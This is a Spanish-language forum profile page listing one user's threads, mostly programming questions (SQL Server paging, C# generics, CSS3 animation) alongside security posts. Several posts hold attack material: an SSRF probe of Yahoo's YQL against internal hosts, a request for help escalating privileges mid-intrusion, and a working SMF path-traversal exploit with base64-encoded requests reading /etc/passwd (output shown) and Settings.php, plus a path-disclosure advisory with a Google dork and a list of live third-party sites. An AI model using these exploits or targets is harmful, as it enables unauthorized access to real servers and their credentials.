Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - WHK

#181
Hola, por razones alienigenas no puedo utilizar sql server 2012 por lo tanto crear un paginador de datos en sql server 2005 es todo un rompecabezas ya que no existe la función limit ni offset.

La idea es la siguiente: Tengo 5 mil millones de registros en una sola tabla, ahora necesito crear una pagina web que me vaya mostrando los datos de 10 en 10 con un botón para ir mostrando siguiente, siguiente, siguiente etc.

El inconveniente es que en sql server solo puedes utilizar la función top() la cual obtiene todos los datos a partir desde el id que le indiques, por ejemplo select top(10) * from tabla obtiene los primeros 10 registros pero como obtener los primeros 10 registros a partir del registro 500?

Una de las muchas soluciones es hacer un select * y luego cortar con betwen, el problema es que el motor sql va a obtener los 5 mil millones de registros y luego los cortará y eso multiplicado por la cantidad de solicitudes por segundo es un desastre.

Lo que un amigo me recomendó es mandar toda la base de datos a la memoria del servidor a traves de un grid en .net, el problema es el mismo, si tengo 5 mil millones de registros que se van a ir a memoria eso significa que voy a desperdiciar recursos cuando los datos aumenten y tenga mas sistemas que hagan lo mismo y peor aun cuando se actualice algún dato, tendría que volver a volcar todos los datos a la memoria y es una locura.

Esta es la mejor solución que he encontrado dando vueltas por ahi:
select *
from (
    select *, ROW_NUMBER() over (order by id desc) AS idColumna
    FROM datos
) as buffer
where buffer.idColumna between 2 and 15


El problema es el mismo, que debe seleccionar los 5 mil millones de registros para poder cortarlos y entregarlos y es toda una locura porque la tabla datos contiene un campo varbinary con varios  megas por cada uno.

Cual sería la solución oficial por parte de microsoft? a caso microsoft nunca utilizó sql server que no se dieron cuenta que hacer un simple paginador era imposible?
#182
Hola! inicio este hilo de post para que podamos saber como quitar nuestra publicidad del hosting gratuito.

Recuerden que no siempre será posible pero si la mayoría de las ocasiones.

¿Como hacerlo?: Responde este post solicitando ayuda sobre como quitar tu publicidad pegando la url de tu sitio WEB y entre todos te ayudaremos con códigos javascript, php, CSS, etc hasta que quede muy limpio :)

Si alguien quiere poner un tip sobre como eliminar la publicidad de algún hosting entonces bienvenido sea y envíeme un mensaje privado para agregarlo al índice de este post.

Saludos y Enjoy!

Índice de Hacks para quitar la publicidad de Hostings Gratuitos

#183
Hola, quiero hacer un array multidimensional en c# para procesarlo con JavaScriptSerializer y exportarlo a json, el problema es que visual studio no me reconoce todas las dimensiones y me salta un error en tiempo real:

Código (csharp) [Seleccionar]
List<object> datos = new List<object>();

Dictionary<
Dictionary<string, int>,
Dictionary<string, string>,
Dictionary<string,
List<
Dictionary<string, int>,
Dictionary<string, float>,
Dictionary<string, float>,
Dictionary<string, float>,
Dictionary<string, float>
>
>
> plantillas = new Dictionary<
Dictionary<string, int>,
Dictionary<string, string>,
Dictionary<string,
List<
Dictionary<string, int>,
Dictionary<string, float>,
Dictionary<string, float>,
Dictionary<string, float>,
Dictionary<string, float>
>
>
>();


Tengo importado lo necesario para hacer funcionar List y Dictionary, me toma todo menos el primer dictionary y el primer list, me dice si quiero crear una clase con ese nombre :-/ pero mas abajo en el mismo código llamo un Dictionary solo y me funciona de lo mas bien.

Que será? Uso vs2010
#184
Hola, estoy desarrollando un sistema en ASP bajo c# con .net 4.5 y tengo un problema:

Necesito acceder de una clase a otra ya que tengo una clase principal y desde ahi hago todas las inclusiones de los controles de usuario hacia un mismo form dinamicamente pero cada uno tiene funcionalidades distintas y no puedo unir todos las funciones de todas las clases en una sola.

Asi que lo que hice fue crear multiples clases con valores y funciones, por ejemplo una de ellas es la encargada de manejar las configuraciones del sistema y para poder utilizarla desde todo el resto de las clases tube que declararla como estática.

El problema es que al ser estática esta persiste y todos los cambios realizados se mantienen cuando otra persona vuelve a visitar la página y es un gran problema. Esto me sucede con varias clases.

Para evitar esto intenté buscar la manera de intercomunicar clases una a otra sin utilizar static pero fue imposible.

Una solución fue crear una estructura al comienzo de la clase principal con todas las demas clases estaticas, entonces cuando se llama al evento Page_Unload seteo todas las variables a null, el problema es que debo hacerla una por una.

Igual estuve buscando información sobre como resetear una estructura, el problema sigue siendo que es static.

Cual sería la manera correcta para solucionar este tipo de problemas? Necesito hacer que exista una comunicación entre controles de usuario y por el momento estoy utilizando un namespace "This.Default" para llamar a todas las demás clases de forma recursiva pero estoy llegando al límite y no encuentro como solucionarlo.

Alguna idea?

Default.aspx.cs
Código (csharp) [Seleccionar]
using librerias.sql;

namespace This
{
    public partial class Default : System.Web.UI.Page
    {
public static cls_sql sql;

protected void Page_Load(object sender, EventArgs e)
{
sql = new cls_sql();

Control modulo = LoadControl(@"C:\...\modulo.ascx");
controlPrincipal.Controls.Add(modulo);
}
}
}


Ahora desde modulo.aspx.cs necesito acceder a sql por lo tanto lo hago así: This.Default.sql pero siendo estático hay ciertos valores que no quiero que se compartan entre otros usuarios y no quiero tener que controlar los permisos de usuario o del visitante cada ves que escribo una linea, por eso por el momento en Page_Unload los seteo todos a null.

Igual se que cuando carga la pagina se establece una nueva instancia del objeto pero quiero evitar que estos datos muertos sigan con vida despues de la ejecucion de la pagina.

Si tengo 500 proyectos corriendo en el mismo servidor no quiero tener 500 espacios de memoria ram ocupados sin que nadie tenga una sola visita, necesito que se eliminen cuando finalicen y no que queden vivos hasta que alguien mas ingrese.

Será error de diseño de ASP.NET? no lo se y lo quiero averiguar.
#185
Alguien sabe que ocupa menos memoria y menos CPU?

Opcion 1: guardar el binario de varias imagenes en data:base64 dentro de un tag html.
Opcion 2: guardar el binario de var5ias imagenes en data:base64 dentro de un array en javascript.

No se si el motor de javascript consumirá mas memoria o no que el mismo tag de html por el tema del DOM y todo eso.

Me gustaría utilizar Storage de HTML5 pero aun está muy nuevo, las versiones normales de firefox y chrome no las soporta que yo sepa, solo las ultimas.

Alguien sabe?
#186
Vamos a convertirnos en trolls por un par de minutos y vamos a darle un vistazo a la consola QL de Yahoo la cual permite realizar multiples consultas a distintas apis de Yahoo pero a modo de SQL.

Ejemplo de una simple query:
http://query.yahooapis.com/v1/public/yql?diagnostics=true&q=show tables

Esto nos devolverá todas las tablas (servicios, apis).

Ahora probaremos utilizar la api HTML de la siguiente manera:
http://query.yahooapis.com/v1/public/yql?diagnostics=true&q=select * from html where url = "http://foro.elhacker.net/"

Esto nos devolverá el contenido HTML parseado en XML.

Ahora que ya entendimos un poco sobre el funcionamiento de YQL vamos a trollear un poco:
http://query.yahooapis.com/v1/public/yql?diagnostics=true&q=select * from html where url = "http://192.168.1.1/"

Nos retornará:
Código (xml) [Seleccionar]
<url ... http-status-code="502" http-status-message="Network is unreachable">http://192.168.1.1/</url>

Pero si intentamos entrar a la subred local 0.1: http://query.yahooapis.com/v1/public/yql?diagnostics=true&q=select * from html where url = "http://192.168.0.1/"
Código (xml) [Seleccionar]
<url ... http-status-code="403" http-status-message="Forbidden">http://192.168.0.1/</url>

Esto nos demuestra una cosa: que la api de peticiones HTTP no filtra ips ni dominios :D asi que podemos pasearnos por toda la red local si queremos ya que al intentar entrar a la puerta predeterminada de enlace (router o switch o lo que sea) nos arrojó un error 403 que probablemente haya retornado el panel de administración del router ya que cuando probamos con otras ips locales simplemente nos dice que es imposible conectarse (error 502 Cannot find server).

Probamos otras urls sensibles:
http://localhostx/ : 502 - Cannot find server
http://localhost/ : 200 Empty
http://192.168.0.1/ : 403 (necesita autorización, ¿como?: buena pregunta)
http://192.168.1.1/ : 502 - Network is unreachable
http://adminx/ : 502 - Cannot find server
http://admin/ : 400 - Bad Request
http://zebra/ : 502 - Cannot find server
http://jaguar/ : 400 - Bad Request
http://intranet/ : 502 - Cannot find server
http://admin/login/ : Timed out waiting for operation - failing node: memcache4.yql.bf1.yahoo.com/68.142.224.71:11211
http://68.142.224.71/ : 502 - Connection refused
http://local/ : 404 - Not Found Tenemos acceso a un servidor WEB local!
http://dev/ : 404 - Not Found on Accelerator Tenemos acceso a un servidor WEB local!
http://developer/ : 404 - Not Found on Accelerator Tenemos acceso a un servidor WEB local!
http://servers/ : 400 - Bad Request
http://labs/ : 400 - Bad Request

Información útil para comenzar a husmear dentro de los servidores locales de yahoo :)

Saludos.
#187
Hola, estoy programando un editor de imagenes pero me he detenido en un pequeño pero gran dilema.

Lo que hago actualmente es tener una imagen escalada y rotada y a partir de esto necesito mover algunos objetos que estan dentro de el calculando la posición del mouse.

Para no complicar mas el tema iré directo al grano.

Necesito sacar este calculo:
Tengo zoomActual = x%.
Tengo zoomCero = 100%.
El nuevo zoom debe ser el inverso doble, por ejemplo:

Si el zoom actual es 100% entonces el nuevo zoom debe ser 100
Si el zoom actual es 75% entonces el nuevo zoom debe ser 150
Si el zoom actual es 50% entonces el nuevo zoom debe ser 200
Si el zoom actual es 25% entonces el nuevo zoom debe ser 400
Si el zoom actual es 12.5% entonces el nuevo zoom debe ser 800
...

Como ven, no es un zoom inverso normal porque los valores estan relacionados de una manera especial que no logro comprender por completo, solo se que he llegado hasta este punto programando el editor desde cero y he llegado a la conclusión de que para que funcione el movimiento de algunos objetos dentro de la imagen escalada sobre este zoom debo realizar exactamente este calculo (en pixeles).

Un % invertido simple lo calculé de esta manera:
var zoomInvertido = (-(data.ob.zoomActual - 100) + 100);

De esta manera si el zoom actual es 50% entonces el nuevo es 150%, se invierte bién pero necesito el doble, no la mitad mas el normal.

Si el zoom es la mitad del tamaño entonces necesito aplicar el doble, bajo este concepto necesito calcular los escalados de objetos con sus movimientos.

No se ve tan complejo asi que debe tener un nombre para esta ecuación, el problema es que no se como se llama porque es primera ves que lo veo y llegué hasta ahí, por ende no se como buscarlo en google tampoco.

----------------------------------
Para los que quiren saber que estoy haciendo exactamente pueden continuar leyendo, esto no es necesario para saber como realizar el calculo.

Estoy programando en javascript, HTML5 y CSS3, tengo unn editor de imagenes, este debe tener multiples selecciones en forma de rectangulos, cuando la imagen es rotada entonces los selectores tambien lo hacen sin perder las posiciones, cuando escalo la imagen entonces los selectores tambien se escalan, pero no estoy utilizando redimensionado de ancho y alto sino la propiedad directa de css transform scale y transform rotate para poder darle algunas animaciones extras sin perder la fluidez.

Intenté hacer esto con jquery UI draggable, el problema es que jQuery tiene un bug: no soporta css3 por lo tanto las posiciones absolutas no son reales al momento de escalar o rotar un objeto desde css3 haciendo que el arrastre del objeto se pierda en el infinito, por ende comencé a hacerlo de forma manual utilizando css top y left teniendo como referencia el movimiento del mouse calculando desde la posicion inicial desde que comenzó el click hasta que se suelta el botón.... esa misma cantidad de pixeles recorridos se aplica a la división del selector, entonces cuando se hace zoom (escalado) de 50% es necesario recorrer la misma cantidad de pixeles multiplicado por el doble, o sea un 200% de esa misma cantidad.

Por ejemplo, digamos que la imagen tiene 1000px de ancho, el mouse recorre una distancia de 50px, entonces el selector debe recorrer esa misma distancia recorriendo desde el pixel 0 hasta el pixel 50.


Cuando la imagen se escala a un 50% entonces la imagen queda en 500px (de manera virtual porque desde el DOM sigue teniendo 1000px), el cuadro de recorte también es escalado ya que lo que se está escalando es una division que contiene esta imagen mas los selectores.

Cuando el mouse recorre 50px cuanto debe recorrer la division? ya no son 50px porque quedará mas atrás del mouse, recordemos que con css el 50% de un ancho se convierte en 1:2, o sea dentro de un espacio de 500px del document hay 1000px, por lo tanto la división recorrió solo el 50% de los pixeles totales en ves del 100%, o sea 25px.

Para solucionar esto debo sumarle la cantidad de pixeles según el zoom actual, por eso:

Si el zoom actual es 100% entonces debe recorrer el 100% de los pixeles.
Si el zoom actual es 75% entonces debe recorrer el 150% de los pixeles.
Si el zoom actual es 50% entonces debe recorrer el 200% de los pixeles.

Recordemos que al hacerle un zoom de 50% ha quedado en la mitad del tamaño, por lo tanto los pixeles recorridos deben aumentar al doble para contrarrestar este desface.

Intenté realizar un zoom invertido simple, o sea si el zoom es de 50% entonces que recorra el 150% de pixeles totales pero no funcionó, mientra mas pequeña la imagen había mas desface, la division se iba quedando atrás, pensé que por lógica debería ser el 200% para contrarrestar la mitad con un doble asi que lo probé y funcionó de lujo.

Lamentablemente tampoco puedo utilizar $(foo).offset().[top, left] porque en javascript eso no existe, jquery lo que hace es utilizar offsetParent para calcular la posición de cada objeto pariente pero no realiza correctamente los calculos si este está rotado o tiene algún zoom ya que aun no está preparado para CSS3. Ya está reportado hace casi 2 años atrás, algunos dicen que es un bug del navegador, otros dicen que es problema del core, otros dicen que es problema del UI, etc, hasta ahora nadie lo ha solucionado, por eso tube que hacerlo de forma manual.

Se comprende la idea?
-------------------------------------------

Alguien sabe como realizar este calculo de manera matematica? tengo un javascript con mas de 800 lineas con calculos complejos matematicos y me siento un poco cansado mentalmente, cada ves me cuesta mas realizar un calculo a pesar de que pueda ser mas lógico.

Gracias.

PD: por si alguien quiere darle un vistazo al código:
Código (javascript) [Seleccionar]
iniciaArrastreCorte: function(obMover){
/* La división padre puede estar escalada, por lo cual la cantidad
* de pixeles a mover ya no son los mismos. Se ajustará al % del
* escalado v/s la posición real del mouse dependiendo de la dirección de
* la rotación. No se puede mover directamente calculando la posición del mouse
* debido a que el escalado y la rotación se realiza via CSS, las propiedades
* top y left no varían después de realizar esta modificación ya que por estandar
* no se actualiza el DOM, las propiedades offset.left y offset.top tampoco son
* reales ya que se relativizan según el tamaño original no rotado.
* Por ende la única manera de calcular estos tamaños es creando multiples wraps
* realizando calculos inversos sobre las redimensiones y posiciones relativas para
* luego calcular los reales y volver a convertir. */

/* Matris de datos para el cálculo del arrastre del objeto */
var data = {
ob : this,
mouse : {
inicio : { left: 0, top: 0 },
final : { left: 0, top: 0 }
},
obMover : {
inicio : { top: 0, left: 0 },
final : { top: 0, left: 0 },
dimensiones : { width: 0, height: 0 }
},
imagenPrincipal : { width: 0, height: 0 },
enganchado : false
};

/* Evento del movimiento del mouse */
$(document).mousemove(function(e){

/* Captura inicial de posiciones y propiedades */
if(data.enganchado == false){

/* Posición actual del mouse */
data.mouse.inicio.left = e.pageX;
data.mouse.inicio.top = e.pageY;
data.mouse.final.left = e.pageX;
data.mouse.final.top = e.pageY;

/* Dimensiones de la imagen principal */
data.imagenPrincipal.width = $('._cargar_imagen_original').width();
data.imagenPrincipal.height = $('._cargar_imagen_original').height();

/* Posición inicial del corte */
data.obMover.inicio.left = parseFloat(obMover.css('left'));
data.obMover.inicio.top = parseFloat(obMover.css('top'));

/* Dimensiones del corte */
data.obMover.dimensiones.width = obMover.width();
data.obMover.dimensiones.height = obMover.height();

data.enganchado = true;

/* Después de obtener las posiciones iniciales comienza el movimiento del objeto */
}else{
data.mouse.final.left = e.pageX;
data.mouse.final.top = e.pageY;

/* Dependiendo de la rotación actual es la posición del corte */
if(parseInt(data.ob.rotacionActualReal) == 90){
}else if(parseInt(data.ob.rotacionActualReal) == 180){
}else if(parseInt(data.ob.rotacionActualReal) == 270){
}else{ /* 0 Grados. */

// Mueve la division el mismo % que el % movido por el mouse (funciona, pero con problemas al establecer valores negativos para poder rotar)
/* Dimensiones reales de la imagen */
//espectro_P1 = ((imgW * ob.zoomActual) / 100);
//espectro_P2 = ((imgH * ob.zoomActual) / 100);

/* % del recorrido del mouse */
//espectro_P3 = (((e.pageY - inicioY) * 100) / espectro_P1);
//espectro_P4 = (((e.pageX - inicioX) * 100) / espectro_P2);

/* pixeles que debe recorrer la división */
//espectro_P5 = obY + ((imgW * espectro_P3) / 100);
//espectro_P6 = obX + ((imgH * espectro_P4) / 100);

//espectro_P7 = espectro_P5; /* top */
//espectro_P8 = espectro_P6; /* left */

//var descompuesto = -(data.ob.zoomActual - 100);
// 50 debe ser 200
// 25 debe ser 400
// 12.5 debe ser 800
//var compuesto = (descompuesto + 100);
var zoomInvertido = (-(data.ob.zoomActual - 100) + 100); // invierte el zoom teniendo como centro único el 100%

console.log(data.ob.zoomActual + ' v/s ' + zoomInvertido);
data.obMover.final.top = data.obMover.inicio.top + ((zoomInvertido * (data.mouse.final.top - data.mouse.inicio.top)) / 100);
data.obMover.final.left = data.obMover.inicio.left + ((zoomInvertido * (data.mouse.final.left - data.mouse.inicio.left)) / 100);

}

/* El corte no puede salir de la imagen */
if(data.obMover.final.top < 0)
data.obMover.final.top = 0;
if(data.obMover.final.left < 0)
data.obMover.final.left = 0;
if(data.obMover.final.top > (data.imagenPrincipal.height - data.obMover.dimensiones.height))
data.obMover.final.top = (data.imagenPrincipal.height - data.obMover.dimensiones.height);
if(data.obMover.final.left > (data.imagenPrincipal.width - data.obMover.dimensiones.width))
data.obMover.final.left = (data.imagenPrincipal.width - data.obMover.dimensiones.width);

/* Finalmente establece las coordenadas exactas */
obMover.css({
top : parseFloat(data.obMover.final.top),
left : parseFloat(data.obMover.final.left)
});
}
});
},


Eliminé varias lineas de esta función para que no se viera tan gigante, solo muestra la función cuando la rotación es cero.

Tengo varios bosquejos con diferentes maneras de calcular estas posiciones utilizando diferentes técnicas con css, jquery, etc pero quiero probar con esta.

No quiero que me solucionen el tema de la programación en si, por algo lo puse en el foro de programación general, solamente necesito el tema de como calcular la ecuación.
#188
Estoy en un proyecto WEB y pude comprobar que CSS3 redenderiza las animaciones de manera mucho mas fluida que jQuery utilizando menos CPU.

Por ejemplo un efecto de barrido hacia la izquierda utilizando jQuery UI:
$(foo).show('slide', {direction: 'left'}, 250);

Utilizando CSS3:
#foo{ left: 555px; transition: all 0.5s; }

Luego para habilitar la animación de CSS3 llamamos el movimiento:
$(foo).css({ left: 0 });

Resulta que la animación es enormemente mas fluida y eficiente, ahorras CPU y no da conflicto de queque.

Por ejemplo, si necesitas hacer un efecto suave con animate() desde jQuery realizando muchas llamadas (por ejemplo para simular un scrollbar suave o suavizar el slider de jQuery UI) tendrás que llamar a $(foo).stop().animate(...) haciendo que las transiciones se detengan para crear la pila siguiente creando un efecto muy feo en caso contrario tu animación total puede caer en una cola infinita de animaciones sin terminar.

Esto no sucede con CSS3 ya que el CORE del navegador es mucho mas eficiente y su código está mucho mejor diseñado ya que los efectos no producen ese efecto de corte cuando necesitas llamarlo 1000 veces en un segundo (por ejemplo para crear el efecto de suavidad de cambio de volumen de un video), por lo contrario la animación retrocede si es necesario utilizando procentajes hasta enfocarse completamente sin afectar al tiempo final de la animación como sucede con jquery.

Ejemplo:
http://jsfiddle.net/TfkH3/

En mi proyecto esta animación se repetía 20 veces sobre un DOM masomenos grande con un setTimeout de 65 milesimas de segundo entre cada aparición de objetos y la diferencia es demasiado grande ya que el uso de CPU optimizó por completo mi aplicación.

Cosas no puedes hacer con jQuery:
Animación suave de un zoom utilizando CSS3 y un slider de jQuery UI
http://jsfiddle.net/NShzx/3/

Intentando simular este efecto en jQuery:
http://jsfiddle.net/NShzx/1/

Como nos dimos cuenta, al agregar el efecto animate() este nos crea una cola de trabajo enorme creando un loop infinito, por lo cual le agregamos un stop:
http://jsfiddle.net/NShzx/2/

El problema es que cuando movemos el scroll de un lado a otro de manera rápida el efecto se corta, no tiene ese efecto elástico como CSS3 que detiene la animación de forma suave devolviendose al siguiente estado por porcentajes:
http://jsfiddle.net/NShzx/3/

Con CSS3 la cantidad de frames por segundo se ajusta a la aceleración de hardware del navegador, en otras palabras utilizará la aceleración gráfica de la tarjeta de video ya que se procesa como objeto 2D, en cambio con jQuery las animaciones están basados en frames simples y no como objetos.

La velocidad de frames por segundo en jQuery es definida a traves de jQuery.fx.interval, el problema es que solo funciona en Google Chrome quedando a merced de unos cuantos fps.

Otro punto extra para CSS3 es que las animaciones se ven igual de fluidas en un desktop y en un movil como un celular, en cambio el framework de jQuery es demasiado pesado para un celular y es casi imposible simular los mismos efectos que jQuery UI, por ello existe una versión muy similar llamada jQuery Movil y algunas animaciones si se basan en CSS3 pero volvemos a lo mismo, el uso de CPU.

Conclusión: si piensas que estás listo para emprender tu proyecto en HTML5 entonces
Si no puedes hacer algo con CSS3 + HTML5 + Canvas entonces recién recurre a jQuery.

Saludos.
#189
Desarrollo Web / Que servidor me conviene?
23 Junio 2013, 22:15 PM
Hola, me gustaría crear un proyecto pero no estoy seguro que utilizar.

La idea principal es crear la shell para cualquier distribución de linux pero en formato web utilizando un frame a pantalla completa de webkit con v8 (google chrome) creando el gestor de archivos, comandos etc pero todo basado en html5 y css3.

La cosa es que necesito comunicar el HTML con la shell del mismo sistema operativo y para eso me gustaría utilizar algún sevidor WEB como apache, night o lighttpd con php o python pero estoy indeciso.

Cual servidor WEB será el mas rápido para monousuario? no me interesa el rendimiento con cargas altas, solo funcionará en localhost con el usuario actual nada mas, el resto se ejecutará directamente sobre la shell.

Que servidor me recomiendan y porqué?
#190
Revisando las funcionalidades de internet explorer 10 encontre que el inspeccionador no trabaja adecuadamente y es posible crear un codigo para prevenir que modifiquen el DOM de tu pagina.

En si este es un bug que encontré, me hubiera gustado reportarlo pero me pasearon por un sin fin de formularios hasta llegar a una sección donde solo hablan ingles y nadie toma en cuenta ningun comentario. Asi que pensé que si lo publicaba en ese lugar nadie ganaba, ni microsoft, ni yo ni los usuarios finales, asi que decidí publicarlo acá, mas provecho lo sacarán ustedes.

El bug está cuando escribes una etiqueta HTML desde javascript, al hacerlo se hace totalmente imposible editarlo desde el inspeccionador de elementos, por eso podemos crear un código muy simple para modificar el body por completo agregandole unicamente un espacio en blanco al final para que sea imposible su edición por parte de internet explorer 10:

Código (html5) [Seleccionar]
<html>
<head>
<script type="text/javascript">
function b(){
document.body.innerHTML += ' ';
}
</script>
</head>
<body onload="b();">a</body>
</html>


Si lo prueban verán que donde dice texto del nodo es imposible modificar su valor con la letra "a", si comentan el onload verán que si se puede editar.
También es posible modificar el head, de esa manera los usuarios de internet explorer no podrán modificar sus documentos.

Saludos.
#191
Hace pocos segundos me ha llegado un comunicado oficial por parte de Drupal comentando que sus servidores han sufrido un ataque de intrusión.

Se recomienda a los registrados en el portal a que actualicen sus credenciales de acceso y a los que utilizan el sistema a volver a descargarlo ya que no se sabe aun si hay descargas comprometidas con algún backdoor.

https://drupal.org/news/130529SecurityUpdate

Mensaje original:
CitarDear community member,

We respect the privacy of your information, which is why, as a precautionary measure, we are writing to let you know about an incident that involves your personal information. The Drupal.org Security and Infrastructure Teams have discovered unauthorized access to account information on Drupal.org and groups.drupal.org. Information exposed includes usernames, email addresses, and country information, as well as hashed passwords. However, we are still investigating the incident and may learn about other types of information compromised, in which case we will notify you accordingly.

This unauthorized access was made via third-party software installed on the Drupal.org server infrastructure, and was not the result of a vulnerability within the Drupal software itself. This notice applies specifically to user account data stored on Drupal.org and groups.drupal.org, and not to sites running Drupal generally.

We have implemented additional security measures designed to prevent the recurrence of such an attack, and to protect the privacy of our community members.

The next time you attempt to log into your account, you will be required to create a new password.

Below are steps you can take to further protect your personal information online. We encourage you to take preventative measures now to help prevent and detect the misuse of your information.

First, we recommend as a precaution that you change or reset passwords on other sites where you may use similar passwords, even though all passwords on Drupal.org are stored salted and hashed. All Drupal.org passwords are both hashed and salted, although some older passwords on groups.drupal.org were not salted. To make your password stronger:

* Do not use passwords that are simple words or phrases
* Never use the same password on multiple sites or services
* Use different types of characters in your password (uppercase letters, lowercase letters, numbers, and symbols).

Second, be cautious if you receive emails asking for your personal information and be on the lookout for unwanted spam. It is not our practice to request personal information by email. Also, beware of emails that threaten to close your account if you do not take the "immediate action" of providing personal information.

For more information, please review the security announcement and FAQ at https://drupal.org/news/130529SecurityUpdate. If you find any reason to believe that your information has been accessed by someone other than yourself, please contact the Drupal Association immediately, by sending an email to password@association.drupal.org.

We regret that this incident has occurred and want to assure you we are working hard to improve security.

Thank you,
Holly Ross
Drupal Association Executive Director

Fuente: http://whk.elhacker.net/index.php/topic,3195.0.html
#192
Hola, estoy en un punto crítico de un hackeo y lo unico que tengo acceso por ahora es a ejecutar comandos muy cortos, por ende es muy dificil crear un comando que me eleve privilegios.

Alguien sabe como crear archivos con echo x >> x.bat pero sin que haga saltos de linea? de esa forma podría crear un archivo letra por letra hasta crear un bat que me eleve privilegios, alguien sabe como?
#193
Encontré un sitio WEB muy genial donde puedes probar códigos online sin la necesidad de tener instalado el compilador:

http://www.compileonline.com/

A mi me ha servido muchisimo porque he necesitado testear código php, sql y .net y todo va de lujo :D

Saludos, espero que les sirva.
#194
Estaba revisando el sitemap de google.com y me di cuenta que hay un sitemap que apunta al listado de perfiles de google.. pero cual es el limite?

$ wget http://www.gstatic.com/s2/sitemaps/profiles-sitemap.xml

No hagan el intento de ver el xml desde el explorador porque es un archivo muy pesado y desestabilizará sus sistemas, usen wget para descargarlo.

$ cat -n profiles-sitemap.xml
Un total de 200003 Lineas, pero cada 4 lineas hay un archivo comprimido, por lo tanto:

200000 / 4 = 50000 archivos en total a descargar.

Descarguemos uno solo:
wget http://www.gstatic.com/s2/sitemaps/sitemap-00000-of-50000.gz

$ cat -n sitemap-00000-of-50000
Un total de 12871 Lineas, o sea perfiles por archivo.

Ahora, si sacamos la cuenta de la cantidad de lineas por la cantidad de archivos nos debería dar una idea de la cantidad de perfiles:
(50000 x 12871) = 643.550.000 perfiles de google en sitemap.

Ahora la pregunta... son todos?, si vemos la cantidad de archivos a descargar con listados de perfiles nos podemos dar cuenta que es una cifra muy simetrica, o sea que puede ser un límite de perfiles a mostrar o hubo mucha coincidencia.

Que opinan? hay mas?
#195
Algunos me han preguntado para que sirve esta vulnerabilidad:
http://whk.drawcoders.net/index.php/topic,2792.0.html

Otros dicen que no sirve para nada o que el impacto es nulo.

Pues acá les voy a dejar una demosración:

Hace unos minutos encontré otra falla de seguridad en el panel de administración, especificamente en el lector de archivos de errores.

Normalmente esta sección permite ver los archivos de error y cargar la url via petición GET:
http://test.com/forum/index.php?action=admin;area=logs;sa=errorlog

Si revisamos el código fuente en el archivo /Sources/ManageErrors.php linea 340 veremos lo siguiente:
Código (php) [Seleccionar]
// Make sure the file we are looking for is one they are allowed to look at
    if (!is_readable($file) || (strpos($file, '../') !== false && ( strpos($file, $boarddir) === false || strpos($file, $sourcedir) === false)))
        fatal_lang_error('error_bad_file', true, array(htmlspecialchars($file)));


Como vemos, SMF ha puesto una traba para que nos imposibilite mostrar archivos que no esten dentro del directorio de smf, nos restringen urls tales como ../../../../foo a traves de esta función:
Código:
strpos($file, '../')

Ahora, vemos que no necesitamos el string "../" para saltar hacia otros directorios, hacemos un bypass de la siguiente manera: /home/?/public_html/forum/file.

La pueba de concepto:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q=

donde file es /etc/passwd en base64:
Citar1:     root:x:0:0:root:/root:/bin/bash
2:     bin:x:1:1:bin:/bin:/sbin/nologin
3:     daemon:x:2:2:daemon:/sbin:/sbin/nologin
4:     adm:x:3:4:adm:/var/adm:/sbin/nologin
5:     lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
6:     sync:x:5:0:sync:/sbin:/bin/sync
7:     shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
8:     halt:x:7:0:halt:/sbin:/sbin/halt
9:     mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
10:     news:x:9:13:news:/etc/news:
11:     uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
12:     operator:x:11:0:operator:/root:/sbin/nologin
13:     games:x:12:100:games:/usr/games:/sbin/nologin
14:     gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
15:     ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
16:     nobody:x:99:99:Nobody:/:/sbin/nologin
17:     mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
18:     smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
19:     apache:x:48:48:Apache:/var/www:/sbin/nologin
20:     nscd:x:28:28:NSCD Daemon:/:/sbin/nologin

Ahora... que pasa si queremos obtener un archivo oculto del foro? digamos la conexión de MySQL o la contraseña de un IRC?
Lo primero que necesitamos es saber cual es la ruta absoluta :D asi que hacemos lo siguiente....

Paso 1. Vamos a http://example.com/forumpath/SSI.php?ssi_function=fetchPosts
Obtenemos la ruta:
Citar<blockquote>Warning: Missing argument 1 for ssi_fetchPosts() in /home/spadmin/public_html/SSI.php on line 316</blockquote>

Paso 2. Ahora vamos a hacerle bypass al lector de archivo de errores:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=

Donde "L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=" es igual a "/home/spadmin/public_html/Settings.php"

De esta forma un path disclosure puede permitir a un atacante saber en que directorio estan los archivos mas sensibles del sistema y leerlos a gusto y gana.

Saludos.

Fuente:
http://whk.drawcoders.net/index.php/topic,2805.0.html
#196
Hola, encontré una falla de seguridad de tipo path disclosure en SMF 2.0.3 que también afecta a todas las versiones anteriores. Acá les dejo el resumen:

Summario:

--------------
Una falla de seguridad permitiría a un atacante conocer el directorio local donde se encuentra el sistema web.

Detalles:
-----------
SSI.php Linea 294:
// Fetch a post with a particular ID. By default will only show if you have permission to the see the board in question - this can be overriden.
function ssi_fetchPosts($post_ids, $override_permissions = false, $output_method = 'echo')
{

$post_id no está definido. Posible solución: ($post_id = false)


Prueba de concepto:
-------
http://example.com/forumpath/SSI.php?ssi_function=fetchPosts

Google Dorks:
---------------------
inurl:?index.php?action=help

Demos:
-----------
http://simpleportal.net/SSI.php?ssi_function=fetchPosts
http://www.furgovw.org/SSI.php?ssi_function=fetchPosts
http://www.teachmideast.com/forum_old/SSI.php?ssi_function=fetchPosts
http://www.slowracing.com/jaxfox/SSI.php?ssi_function=fetchPosts
http://www.iptv2you.com/board/SSI.php?ssi_function=fetchPosts
http://voceteopr.com/SSI.php?ssi_function=fetchPosts
http://www.thesilverball.com/SSI.php?ssi_function=fetchPosts
http://othforums.com/SSI.php?ssi_function=fetchPosts
http://www.skinmod.eu/SSI.php?ssi_function=fetchPosts


Solución temporal:
---------------------

En el archivo SSI.php linea 45 dice:
